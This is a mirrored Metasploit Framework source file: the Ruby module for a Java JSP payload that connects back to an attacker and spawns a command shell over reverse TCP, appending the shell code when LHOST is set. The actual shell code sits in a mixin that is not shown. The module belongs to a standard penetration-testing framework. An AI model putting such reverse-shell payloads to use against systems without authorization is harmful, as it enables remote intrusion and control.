CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
Views: 11767
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 1501
10
11
include Msf::Payload::Single
12
include Msf::Payload::JSP
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Java JSP Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => [ 'sf' ],
20
'License' => MSF_LICENSE,
21
'Platform' => %w{ linux osx solaris unix win },
22
'Arch' => ARCH_JAVA,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'Payload' =>
26
{
27
'Offsets' => { },
28
'Payload' => ''
29
}
30
))
31
end
32
33
34
def generate(_opts = {})
35
36
if( !datastore['LHOST'] or datastore['LHOST'].empty? )
37
return super
38
end
39
40
return super + jsp_reverse_tcp
41
end
42
end
43
44